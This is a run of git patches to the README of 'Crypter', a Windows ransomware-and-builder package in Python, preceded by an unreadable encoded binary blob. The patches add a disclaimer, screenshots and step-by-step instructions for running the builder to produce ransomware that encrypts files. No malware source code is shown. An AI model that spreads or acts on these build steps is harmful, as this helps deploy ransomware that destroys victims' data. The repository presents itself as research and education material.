z&$G$~=RIT6yV;oCjKR%IOx;NX$dw%73{D9jgs14A$;0y;_(F}5$7&%*k{p!;i5kDp z?JYEpO8AYhze|2RSa^D)xTBH%92yZ2mn0*^ksp2{=Y2A>{@+P2eKf)fkwTf!vi@Bt zl}Hg649a{j*h(uQw_9P|R{wV21wO)q)=|jqXg@Vh4-y`~D}pSvRQliudz7&FxEcvz zj^TB*C<%L@Kjn|H|M-%C$e@u3?FM!5{5*E|x_{dUfAjO7or6lqoiyJszBdIGZ*+=S z)!;lPs*|e4@%Ifn$~d&nhmI6uG-+KqI>pOw$(btR=yeW(~G?z z`4H5X(}#|3+G*xyfqG7`LO+>XGijBiDj<;Pov<-~s!Xg}ytP$>HkIBSx(x1OFaohPgWHTzF6FLa#zN-TYC_GGaU)a-&;NPd; zq12#gY+%s(^g6=DlnC_qjV%AzfD}(MQ=;tb08yL(Cw?BSd2e2i{1>pf;Mxy?a);X| zYi4p_Lxswaf(BXLNfdhjm)PE6E_8cwNT^50LabDW;+Ju{_IvgZ@-H_cdDf5#GeMh= zRhkWH<#TK5=xDPpJ`aTQl6&M6oj2s%(Vg8&ab7_sNzX7KldoXS zb45G|V;q#z>+7c&S8^#c;XWs^M)WsH&iESMg(-7?GIm!fn+g0OAFZ^P>~b2y4yVkB z@WfpfUQF}^aq+0MAGbJGhgP{U3?noIok`;eJSsG(njK$nzC~}_{t2$+-1>RfOCP$d zQjXm_GoO2!xn!8==d`Qk*6)-KL!9%R06re_@?ICF1FNw$>xbaPNS$Tn=r>owEqIhw zHjz*BmPdZ(B>OoZ8NJ=f*iO9;**mla8Iff=Z4aV$OH|BHU;1XBjji}xO1zBlT-KBK z;1*zkCy?xU>S2;f73T237Jhf5OG;MuExbFiknvLJJSFUzF6U5sMyr%;C`(op z^u<>;Ma}=<g z{CQzJMbA4Q)}~zCkzmIvXviDRFZTG^?zRWg$CNq1UhXl^GWej-;gsl4rV+S=px-o| zQ|4SG>1of2c4O`S*YcyPj*h*vO%bS7zJPG$wgipqMwhC0#!c04xrHKWNP)sgs()UF z@9!JSWd4Wj0;CsGb6I{kiFm6rSl{$B1oIHRhEhrxk~kWIjy!iX58QjFl;TmMmw~7C zp{f8R%lrI8ZN9g^l1KjvH9D%$h=v07d)f*RNg{qimn8^A&ain-`BQ>Xj2bn?xmnG| zBMTDu8Ut+656NE`Yf7(9Rh{{5-;fOMQnp46Hn({WIQ?DF|2v%!19$W9Qn|Ou0E;jm zPg%?y@&?p--CJ7f8^YlkE7=(hBFRvmb!h#YhKK!&O{EB#PE+=m&%P1vwysRk{74S@RL)2gmwMx( zibx+<-d)3e$IwfVBXVV4)1w)W6TW~Y*W4)TT}_h-(;(sLHFY=i9A7eK?!EM`{Mu~0 z7w!X-Yj;cjQnE}vpPgbft@m!eHZl7_iGFm@Th-rc_~EY-@;Y^@PPoW*v`}hXg)ySM zq5RWJkay^l$;4;^{GpPM#VEvF-pKIxjAT&+J1XyLI;cnoUpa@BM5(uvJ$o{E3?&v? znthj|Yjm``!bYuG8oBs~u4M@aawN zc(z?wPhOP0m2pT75z%@_jJY*3n)^i7XYC}Z&yGty!U1=a_{z{({Fg?%A zyn)%vB%y9NzFUfdUfiXvr1l#NC2=d?(w0v3>f`q^b$%J=+OoKRiGU-(q|U^oLUV>9 z3eK~DA{md}MfgLO)q=RdO;N4oJF89EPy&0dyCC zF?i$(f|hFM@wpI&E#3RG@5*D=n>rWI=jJCvzl*yYX<5(!k8eOQBTlC6P`TAY4E2)~{yZ3@`p zL79)fVLYvCm~kna*(`qT3SC=$iBHae*zbD!qcs!1egLaI;hm%S;0FUi9`}8IB8Y#* z!UB$H{!gDH-187wX6m~Z%pwdZqqiy(Bl2%nKjt>Bw-LE@1boz7DzNruM~Q{;G79Ll>Z zf1TLp;J`0bppQp!`nWezxe0q|;xK!=KRB*oGFHfURJ?SeaEq}54&ia|G((aj&#UJk zQpSc4NAs&n!Hi)H^ppvZ{T{^s3tu9j-J82Ma8$?gK#ItKR0T{nYg22pOi$!D+cFoa zvb^RjbKfY}Hz1U&;Tn4Ih0^g8%A7?+;gTCTtZa29J4*19LD`Rlg(^ffrXug60qW$A z_T#uf>_l&*oA#-OUrIqD3_yE=oa)fU0G;P(9NlI;AYopO!{t~3ktx=ihU?SBIl8k9 z<|@ux1QQ8fgI^bMy{h3hRHMY>BNrlr3)eCar}TGhZGkJN2L#>K&gzw=`MC`g#q(9d zWkKm$DCr6?9XReASsKK^W^A)Op3mg@Lz>Eay2WQlW<|+wdXdo_%$5Pdq!m<#bo{Q@ zH(K(Ym+?bv9LQ25V+zRWy^z^kisc6&+8A;;2MZI2L$2dP=(=RRu-hZWS*eDP#;%$R%kU&1Ogl^tJ z#vj7i8tQI4W@{OQL;t`v!7MrNtI~c-EUk(m9{uQp+_@i{u#?@E0k#t7jxe$~Y-Fi3 z8*DK%OFBA?C}%PN`^iUL*!0QkMjRV^rcIkxYAhUER=@e?o2AAYJ9ezxbkj}p&_fUP&@&XE9BjGkuDh(E9K^r%)?2oI z9lH_|5)u-6fp#1fjt;k|_jSAqKW2xT@O~hSqIv=yIR?F%^FeIbAgG3;FqZmdjsY=F zM>SQlnr?P$#~V8{y4qn}m8%x1Cu2tstJAuMEF6Q=&d2IwLsvbLu3fGEp~KbApH5o+ z4F2Dx3yW;R^Dz!+D(u4 zkF*G-bJtHW5b?nXg9^)=h20+;i5KfNq2xk&<#5?m!e(yzf}MZY86%WjHl{K?4)x4C zwD2~=4Fuk%W}jxQwsWBR>cPv1epMA9%w_LCfq-f$5Hvt%>^F~nTqAbPtA49Pko5Mj zYlG7q{m%W~Kz6%Vkio8PmB)yxq6wk`xl&TdTrMz!57I&ToKz_!t43wFA9MD^ujH@; z+tKe1@|F3`nzH`bSxNfG{McsgZmrNO{M>uKI1J?mb`H4@X`Ct4djeih^E?gsiPN@l zyJ#2E@iXh`M9!+D|NJvOz{*fRc|1ShFKISIoB2HtM<;1|GgOTb68+0&TIy%BBrA+$ zt5McI3iKPvQMgXX5q^sHhmXXYeubUCtWE_bK)x&%Jveq%CXIY9hcd4VVF(&&UY5%Z zZy9FyCP*){!A;q$H{~E_#7)CS=GC0ePIhu84g07AN9v$$rAMw8R`zstLB6qpa>5aU z%0?MOMDpT`FP29hdBh4FGiHqZ_rL#@AN}Y@ zGGfFCb6@+~*W~G^pO(unzg+(Chd-DMaCVPQbbFX%TvqI-^5~5HqeqXHQ%*TWUU}t} zQX2BaUwY}K^1uTRm~9CO2?+^(fKJ1m4THh~Us3cY7gwq5&k~}v7(~}e>J_!x&+d78tk$Vb zWR5>};IFrxd4sEwwYa(C%?&O>BzZV z%ur&l=l60uI>NVL$r(p$|R2O-MStUi1Ye;*-qf$W_;?0_h$jNkdB;}3(#k~ zIcMzv(BblcGDst@$!GQEh;2@0gWY;AGF$KyM;fvY;?M(-APlC zgaC6SGgH}Aoa4zSpDaK8;SXiWC6~;!ga%u8-F4-A-}|0?w`PpZ~Nlv%`cx``OQ0WjHC%J@=fPd+xcGAOCm0^BuY6mRscd>#w&; zUvtehb^@4fe(=EuO)e4LgoK2Ip74&Qzd#zt;3jsxBJ^#G7qFSOi5-aA%icB9un|=U z9XXw|4iI_DZEaI(pG=SDGv^IM_DDqu9-pOE1?L+>rDq@*O8ZNo8Rz2~TNv%I_`n;t zo-2b;e11LEHe15I(+yo|-h5#wO=rN)nAZpX?yrdv-1(;;55{i z^sxJ|=8ejsj^x7uvm?_@9jtvUUwBwRm{qpyFx}Bv**?_G?QnaEW5UwYoV*gIYf&aIns@gYJEs|8~kC6!_IMJBWYeY@}UPA9D31@jM<{)kq>#|@DuNODTO%N7(LjB ztm_*-a%4Gdv*aOPu%rqTCQOj`z3+W;+G(emV`i3FTa5Q>Mt@|NeJ7VUWrr zk37<5gC|Xz6rMmRXvj0pIK!4gLvk_tTi^PY9nnGFBaS#ijydKS*=nn;Y=-#88*em% zz5MdaTl{+Kttb2JvyU~z>8GDA2OMyK<;TD8zWd5X8*L;juDGJ?wbx#9{`uz{>1LMq ziYu-#{Rs&P2?>?p#?LY&y_se)g9rEHY8MhRH{XM{p&s?2uZGi3Q%6SX&jtilj)8{u zu$D##>rNY!N9e&7)Q>vk^`M@hmq^s`4}A&!hP81mSUc0MRnE_6$t@bFbxkb_z^xZ z=$=D92K%*s8y@537c+ZUg<}8IZ{#W>3+Qs^y1CyuNkxVu{RVJ9&h2rhe@rGOHt37} zILN8lqH;bv#}VDca|Ax~>UD+mSpLig(vT;WHe&NIUp{U2>Cx;`kPlMVq&$H*cElzp zq{#K#Q5|t!KTq@W;6YuQw^VkPj-N7!2l%lUTk!*Q7zxYD^dn1|nb9QOb()PD1{Oz~ zXuRix$Py1I1H0foMLP|_76*CU4tMrho~$g=aKPIbNBP9Z=Y}})Acv#AE=RhDW7`P3 zPJo@x(a;TnN2lB3`f$L@L^nFzPx<5}jxcTDWSq|`@vwt5^psm80<)vM2m9@Bf7@nj zA(11MEd!1e;D+LV_St8Rcy6)97FLJ@Bfj#LugL4Kzb-f2aD$8+H_qajwFSg)w%KN~ z)>>=H%$YMSe(SBbHr6~riL%ckqjTcKi6#SB!tA!u*x1g|%k*PH zLPElO4cxDJ0({?n_i3PiD_^`5!s*Sl!o_JN89+Z5`nmw(J*~e$oN@-5uP!hMUBQ*? zwYunk?G(*v9G?v_r*gIvG6N&}7#v~qhrx&GL$!_Y)tOH8Xb&=Un&km1|%ksfK&?~{n8FGwY&1sgBwyduDr_Zv0YAUrA4nM0;$Pwo% z>CF7G!v-fCKHKMr{SXWEa|CWbC57d=BB%U&2y((^L9#8%dACAP4&T?P# zQ?)D|SJo3ql+Oy2hmEwz7uU<}ARmr2&xBvw9w!3W{348k>hpjl$X)7;_ysi&j#KpSFPdIKn+QD_x#>kpZ zEX{Occlj(wK*3pOoh27tbdl`1F1DPq*WTKm1|&>Q}#NGsD<`Z4mPfHrT*spP2!M=&rEB3W@M0BqY4& zKqtVxn0x2O8*i*P`mSsc6#mu)9ZTlW5xY38{(!uYUWeTOwjFp2(wNsRAAxe)p{@MHGJP<0SqYt4hV;$7BUEyVA0n;74Ss9+z1JON-!8yNe zWTUcrE4RNW)m2?BZNa+o_3QQ$)?DVVfQljN&v5+w2HA3*N@Zqx9fYdW`DbZCg~8H1 zJ<|bE03OG9T?H);I~*<_$9Z{xos+q5mdelM9bP9xmXCX{>%$Jh1tmhkj<9^y;dVOD zAV2=D&amt^Z2A<)8P0cRMuv1q5d4LFSOK{U`NAwLa->mCoQ5tZjsT(yfipdsL&jyv z@6K&;8vtQPNYBoTdc1t!{1>~>%Q>N4(19-3fgB*6wD37Fv6)}$fG+a8Ui@B9j|2Fb z90cg0ozO}7=pl?B((SX#w1H-nVZ(=+ZPZ&WjO(I>&|~c-*K}l8UXz?L>qa^E;2q_~S6-KwUV6zkh_XSEg5}7ot+txY zz_QF4vJ0r}QcEpmyDl@c3;AWX6~iEvyjKg^+Mt13nh=B%2x4KuHwA&{@?3<=T=;FTWR*Y;@GJRT0||cdX$<{h84j zktIIN#HwHAkT<`_SCkhHKB%;V{t3$wRkot;>aEJ|@D9BiUS5qXJy30%pGSaQm_%Hc zdaCu+%3EztJsUxsKQ6Z(dbFcjnD6dsSj{rCHb>UO7#LL9=>W^t7i8 zV&gj1ZHKD!jZPz65s2dENWbA7uTrE)`IEQ z^tgS1nW!f{Uwz-xbXVu?SSpW9K<|lVJt2-Ta-IjoX#m}9ZsoG{J&d=J=SbM%vviN= zh%WLGHll+%f~#>)ce;vBIw-5&sWI{^jfMSyWco)dzsrAE5CWL>A{#UIDJpFCb}Yy%)2eXct`CL|;zycfVd z4|2Qo(o5T_86NiW>9|cdSzk8$-YtRbc6V5Z5W@$?rNN`#Ppf5m#L=5D2C5#M^&lDu zE?BZ#O)#v;$S(SaxF5?rnp_@O)r6--o?uDZ>vT(v*0KYA^%)`55*N7KI$ z?+)F*F_g=@O=f2nw!43(-{X;Cmt#J0L|OrVwj*&VJtBp~n_c{VwT-+SY+|V{pX})_ z1iNDn0Ds_UyB%vB@#HnKhCY=CesrCXIF87UY#Ao)8paP?H+gVy8*Id0(maeGeQ_SG znfW~*I$f7@9r8MHLly$ctR`v9Iupl?Yop3EH@8?m^x!BDdHmD?9nJZm-)-lKHy~m%5y(p8S`+p75m9wZ3jmj@#vxMe1euE zd8%a_bqrzgG1>jn>>K6lAAG;eYYUr9B_t#yBrM*bBYFOX7i_f*D`D6GkmJUiZX{cN z|0a2G`AOPSwOI!k!w1HtK`b4Jb}%s*)Krd|)K#hpm~XP1MS>n>Xs3ou6>K(^V+dNl zvb|xjXZau}B`F5_8OkAkIuk%{0fLnF*?ygd?o zqWYXv+lJQ$Cybjcwv5ub&R}*{2{FL%K}$8_{MF@x>Ri?3A=zKD8|!pE)%s&plU>i> zU$P5&BSR%D1hVUOaS&UpF7Y`5J!Mprwtv3XZ&SsrOgv=i)O=WxEDTcFD}osp6aXQ}z(Wv@K3U}snG&%g ztTNUPS$rtBOo+*&e}s2yAxwlJEl!LqUBU0DpuaitaO)->J$6)E0C@;|Ic6{UoJ^|> zOP;M9?8S)vdBE(^Bf8BN{;6$l7Y`O_FP{-5-gV#y z*x<|0DWlYu8c*2}b>g`FH0t$;A30oHcO1G~8q1S|=s^cS-pa~kalrLe>t&-a>~B!= z>~$cXbkA#Ys?*~+0{7!wmfe`$7LTV)Y~%>3jnlmx(%f#3x7At&wN1}Une678uTiA|G4-i#_e`b?jVSVdOeKtH6g9S#K*m1E zuCf<miQVgPvGZHDa>s`K^9>tVMRK zFLhutb!;kuYpjawR@PCWdHW)}{yVK`Yju83DBo<+K((#GMw7O%Bffsj+ru`E)&Du0 zD$AlGlx)%e)GIER-xmq&#$0M66Akh8V86?ZLwY`tRjuR)c`Xo=0d`oj9=p4;YmlG{ zSC>ZEcI(X)QjYuMYlpVQ9`rP*@kP6c%QnSzvGc01a!tfEs0-)Cug17erSjEPlU)cY zss6oPw-MRC$ZjYPj|Bsn4BjyNuJ;6MXX=^R5bubbRiI=G;O^kIn;n@Sc-Z3tu?XRC zR|z(`^Ky|h5{F;Q@^7X>RDfUamPc886rSH`<)v6%QKF$wMY)_K?Tr zn1v*dk~7yu810ndcDTLBkk9Rc%$ohkWOl_egxx07Z!Xl&+F8?yLl1<_%ORb7IN~`1 z@_5+FAb%#$uG-`?QM2VvEdczxv7_Ze>q#B zP$s+iMj7$y6EbfocrF!H;1eU5-@bo!uost5AQ`K#muD#@;wS$XXQJ@M5a+fxs< z$Sxj8MlG^yWTYCJRL`aoxHnak-D+swzJ9%wQ{C18^*pffcx#Ke2v2hZVnk6PpJwb) z4^nEQVzyO(SDfRbhAGSHsrK4?rxE=BPVA{&mcnhflw}H);azzx!?NQcTlH(jXLsd`&X%Lb4K4tBdm2Y;EJ(DF9 z#n`o|jY_sywlA`4P(jXtx1)>4_siHGI!^xD(mh!6@wIQwvf~)BUJu*8CAiDrE zOg+5~RDs!Q@13@^7;!@D4?PEL+ZqX@l08wq_YPb@w)Mn@IDvC!J-?PG;E~i6zm< zP%e8fk(Ujtu#J4A;jo7|baF(lffWpT?!8Q8+o6G{U#RyqH8g4*sJBYUH zp+9SjYS12W8}%18?T;g~@~piFRM`w!{@AW={q0l?#QKBkdTV|i&{Zxmu0(B8QXgTE zlm!gg;H!sDQ1Ju_fyHOGK zY&2V9s7zmW#EA9wXiw7A-Wi{4<5E=ksh4`7DGAU2bZcf$HHCZ`Yw{E>?JU@AyM7w^{+-@A{#94jR z-=NBPztruf?MSyWGu!x0@X!RrHUi|xi!6CPAAZ`7&7hEH=`-F(Exji_ynS99ejyCxL@>agOM(yXwS4nn<3TlY9Ocv-Tu)U66gYQW^zpfL#Bp4l)eQvMUGy5QKLgEypxz*8fq~|(al-)% z#uhCr8o2g`fwt{H?X9K1`sNGlhB}zGAWt=_bs#g)`(lg=yY%Kg$a_o8dK*Elt!!ZJ z0a;PmD)H*~@dA2p3#_a);Nlwgr}lQfknAF?&Z4uU6HTwL9#{sMg$&jS_PcH>AGJka z*R08wY{*;|$4iz$04Thf`G-&*yC3=mJ) zm$S#VR9{o*^8Cm+sUhs;czUs*ghVe?Pvc0MlMvLhT$MD!9GwUnNy%h^lV|g1<#-t4 z2hfiL7N>d0Z}w-LzW}@i024Oesy;Js6}2r&f5)r0Ah;WgsB5Z-?$2gUBrP6zf=hU?-t2-&qdWHO5=LL()-8^F1Am#|Qvy=Q#G!1;~ny$0%C-4?j{ z0{LUNh+@d=-2-$h{c(eXb>>{R>TJNR1FP`TpB`Z-sJ3Tl>W6U=$F*|9s+Id|l6P)#zj5ex^TtZAoGX+BGiQ z35eTa_s~qn{2JdMII$p)layGO)v;TT`j0e7hZ88b#bov9WYPg~adJdn)5pUnh50jC z%JVS#(C-A!iII~XFAv=iD98_fC%QN`nF7eWZYNXdK_~G>!t_WU6)Ke-+d_Kjozbpr zwpjIeUELnjp&*Pb8XPiR Date: Sun, 26 Apr 2020 14:38:23 +0100 Subject: [PATCH 27/41] README Update --- README.md | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index bb54ae6..c5fb704 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@

    Crypter

    -
    + Crypter Logo
    A Ransomware and Builder package for Windows written purely in Python


    @@ -8,9 +8,20 @@ Created for security researchers, enthusiasts and educators, Crypter allows you If you're looking to dive straight in then head to the section on
    Getting Started. Otherwise continue reading to learn more about Crypter. -

    What's New?

    +Note: By making use of repository and/or the content within, you agree that you have read and accepted the terms of the Disclaimer + +

    What's New? (v3.0)

    +
      +
    • Overhaul to support Python 3.6 and above
    • +
    • Drastically simplified dependency installation
    • +
    +

    Disclaimer

    +

    Screenshots

    +

    + Crypter Builder and Ransomware Example
    +

    ## Getting Started From 88bf0d0e0260cab49bdc1d3246fd242c85682276 Mon Sep 17 00:00:00 2001 From: Sithis Date: Sun, 26 Apr 2020 14:41:07 +0100 Subject: [PATCH 28/41] Update README.md Disclaimer --- README.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c5fb704..4fded7c 100644 --- a/README.md +++ b/README.md @@ -17,8 +17,15 @@ If you're looking to dive straight in then head to the section on Disclaimer +Crypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository. -

    Screenshots

    +Once compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key, enabling you to decrypt any encrypted files, bugs and other issues could, in theory, interrupt or prevent a successful decryption. + +Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, you should only run Crypter on a test machine created for this purpose. + +Once again, **the author accepts no responsibility for any damages that may occur, and by downloading this software you accept and agree to this disclaimer.** + +

    Screenshots

    Crypter Builder and Ransomware Example

    From 78cc659011cfb1cafdc96ea0093dd96bed20cf75 Mon Sep 17 00:00:00 2001 From: Sithis Date: Sun, 26 Apr 2020 14:48:08 +0100 Subject: [PATCH 29/41] Update README.md Getting Started --- README.md | 28 +++++++++++++++------------- 1 file changed, 15 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index 4fded7c..1b40bb9 100644 --- a/README.md +++ b/README.md @@ -17,25 +17,27 @@ If you're looking to dive straight in then head to the section on
    Disclaimer -Crypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository. +Crypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository.
    -Once compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key, enabling you to decrypt any encrypted files, bugs and other issues could, in theory, interrupt or prevent a successful decryption. - -Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, you should only run Crypter on a test machine created for this purpose. +Once compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key, enabling you to decrypt any encrypted files, bugs and other issues could, in theory, interrupt or prevent a successful decryption. Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, you should only run Crypter on a test machine created for this purpose. Once again, **the author accepts no responsibility for any damages that may occur, and by downloading this software you accept and agree to this disclaimer.**

    Screenshots

    Crypter Builder and Ransomware Example
    + Builder application (left) for customising and building the Crypter Ransomware (right)

    -## Getting Started - -## Components -******** -## Purpose - -## How does Crypter work - -## Ethical Concerns +

    Getting Started

    +From version 3.0, getting started is now easier than ever: +
    +
      +
    1. Download or clone this repository
    2. +
    3. Run pip -r requirements.txt to install the dependencies
    4. +
    5. Run Builder.pyw to open the Builder and start building!
    6. +
    +
    +It's really that simple. + +

    align="center">FAQs

    From b3f7e07518185b2ea0e91b14f4e2032be61df572 Mon Sep 17 00:00:00 2001 From: Sithis Date: Sun, 26 Apr 2020 14:49:30 +0100 Subject: [PATCH 30/41] Update README.md Adjusted Header sizes --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 1b40bb9..d438e8f 100644 --- a/README.md +++ b/README.md @@ -10,20 +10,20 @@ If you're looking to dive straight in then head to the section on
    Disclaimer -

    What's New? (v3.0)

    +

    What's New? (v3.0)

    • Overhaul to support Python 3.6 and above
    • Drastically simplified dependency installation
    -

    Disclaimer

    +

    Disclaimer

    Crypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository.
    Once compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key, enabling you to decrypt any encrypted files, bugs and other issues could, in theory, interrupt or prevent a successful decryption. Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, you should only run Crypter on a test machine created for this purpose. Once again, **the author accepts no responsibility for any damages that may occur, and by downloading this software you accept and agree to this disclaimer.** -

    Screenshots

    +

    Screenshots

    Crypter Builder and Ransomware Example
    Builder application (left) for customising and building the Crypter Ransomware (right) @@ -40,4 +40,4 @@ From version 3.0, getting started is now easier than ever:
    It's really that simple. -

    align="center">FAQs

    +

    FAQs

    From 347b0034b466932857d4537869aa363da5544004 Mon Sep 17 00:00:00 2001 From: Sithis Date: Sun, 26 Apr 2020 14:56:47 +0100 Subject: [PATCH 31/41] Update README.md code highlight --- README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index d438e8f..eaa902f 100644 --- a/README.md +++ b/README.md @@ -10,34 +10,34 @@ If you're looking to dive straight in then head to the section on Disclaimer -

    What's New? (v3.0)

    +

    What's New? (v3.0)

    • Overhaul to support Python 3.6 and above
    • Drastically simplified dependency installation
    -

    Disclaimer

    +

    Disclaimer

    Crypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository.
    Once compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key, enabling you to decrypt any encrypted files, bugs and other issues could, in theory, interrupt or prevent a successful decryption. Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, you should only run Crypter on a test machine created for this purpose. Once again, **the author accepts no responsibility for any damages that may occur, and by downloading this software you accept and agree to this disclaimer.** -

    Screenshots

    +

    Screenshots

    Crypter Builder and Ransomware Example
    Builder application (left) for customising and building the Crypter Ransomware (right)

    -

    Getting Started

    +

    Getting Started

    From version 3.0, getting started is now easier than ever:
    1. Download or clone this repository
    2. -
    3. Run pip -r requirements.txt to install the dependencies
    4. +
    5. Install the dependencies by running
      pip -r requirements.txt
    6. Run Builder.pyw to open the Builder and start building!

    It's really that simple. -

    FAQs

    +

    FAQs

    From 9313cb13d50f12382d687e625035f791dde6650f Mon Sep 17 00:00:00 2001 From: Sithis Date: Sun, 26 Apr 2020 14:58:12 +0100 Subject: [PATCH 32/41] Update README.md Getting started mod --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index eaa902f..d888a88 100644 --- a/README.md +++ b/README.md @@ -30,11 +30,11 @@ Once again, **the author accepts no responsibility for any damages that may occu

    Getting Started

    -From version 3.0, getting started is now easier than ever: -
    +From version 3.0 onwards, getting started is now easier than ever: +

    1. Download or clone this repository
    2. -
    3. Install the dependencies by running
      pip -r requirements.txt
    4. +
    5. Install the dependencies by running:
      pip -r requirements.txt
    6. Run Builder.pyw to open the Builder and start building!

    From 0c149aa087c07cee9bbb089c1a850eef8c5cfd97 Mon Sep 17 00:00:00 2001 From: Sithis Date: Sun, 26 Apr 2020 15:00:39 +0100 Subject: [PATCH 33/41] TBC sections --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index d888a88..30b9e8b 100644 --- a/README.md +++ b/README.md @@ -34,10 +34,13 @@ From version 3.0 onwards, getting started is now easier than ever:

    1. Download or clone this repository
    2. -
    3. Install the dependencies by running:
      pip -r requirements.txt
    4. +
    5. Install the dependencies by running pip -r requirements.txt
    6. Run Builder.pyw to open the Builder and start building!

    It's really that simple. +

    How does it work?

    +TBC

    FAQs

    +TBC From a8eec20340c11a9a06543396f3d7767fd3ccfc2a Mon Sep 17 00:00:00 2001 From: Sithis Date: Sun, 26 Apr 2020 16:01:07 +0100 Subject: [PATCH 34/41] ToC --- README.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/README.md b/README.md index 30b9e8b..265f31a 100644 --- a/README.md +++ b/README.md @@ -10,6 +10,18 @@ If you're looking to dive straight in then head to the section on Disclaimer +

    Contents

    + + +- [What's New](#whats-new-v30) +- [Disclaimer](#disclaimer) +- [Screenshots](#screenshots) +- [Getting Started](#getting-started) +- [How Does it Work?](#how-does-it-work) +- [FAQs](#faqs) + + +

    What's New? (v3.0)